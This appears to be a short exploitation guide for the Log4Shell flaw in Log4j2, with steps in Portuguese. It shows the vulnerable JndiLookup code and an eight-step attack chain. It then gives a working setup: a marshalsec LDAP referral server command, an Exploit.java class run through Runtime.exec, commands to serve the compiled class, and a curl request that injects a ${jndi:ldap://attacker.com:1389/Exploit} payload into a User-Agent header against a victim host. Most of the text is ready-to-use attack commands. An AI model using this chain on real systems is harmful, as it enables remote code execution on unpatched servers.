// Vulnerable code in JndiLookup.java
public String lookup(LogEvent event, String key) {
    if (key == null) {
        return null;
    }
    try {
        // Directly passes attacker-controlled key to JNDI lookup
        return JndiManager.getJndiManager().lookup(key);
    } catch (...

1. Atacante cria payload: ${jndi:ldap://attacker.com/a}
2. O payload entra no contexto da aplicação (cabeçalho HTTP, entrada do usuário, etc.)
3. A aplicação registra o payload (ex.: via logging de requisições)
4. O Log4j2 processa o padrão ${...} e chama o JndiLookup
5. O lookup JNDI consulta o servidor LDAP controlado pelo atacante
6. O servidor LDAP responde com uma Reference apontando para a classe Java do atacante
7. O Log4j2 / JVM busca e carrega a classe remota
8. A classe do atacante executa código arbitrário na JVM da aplicação

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit" 1389

// Exploit.java
public class Exploit {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

javac Exploit.java
python3 -m http.server 80  # Serve Exploit.class

python exploit.py --target http://victim.com --payload '${jndi:ldap://attacker.com:1389/Exploit}'

curl -H 'User-Agent: ${jndi:ldap://attacker.com:1389/Exploit}' http://victim.com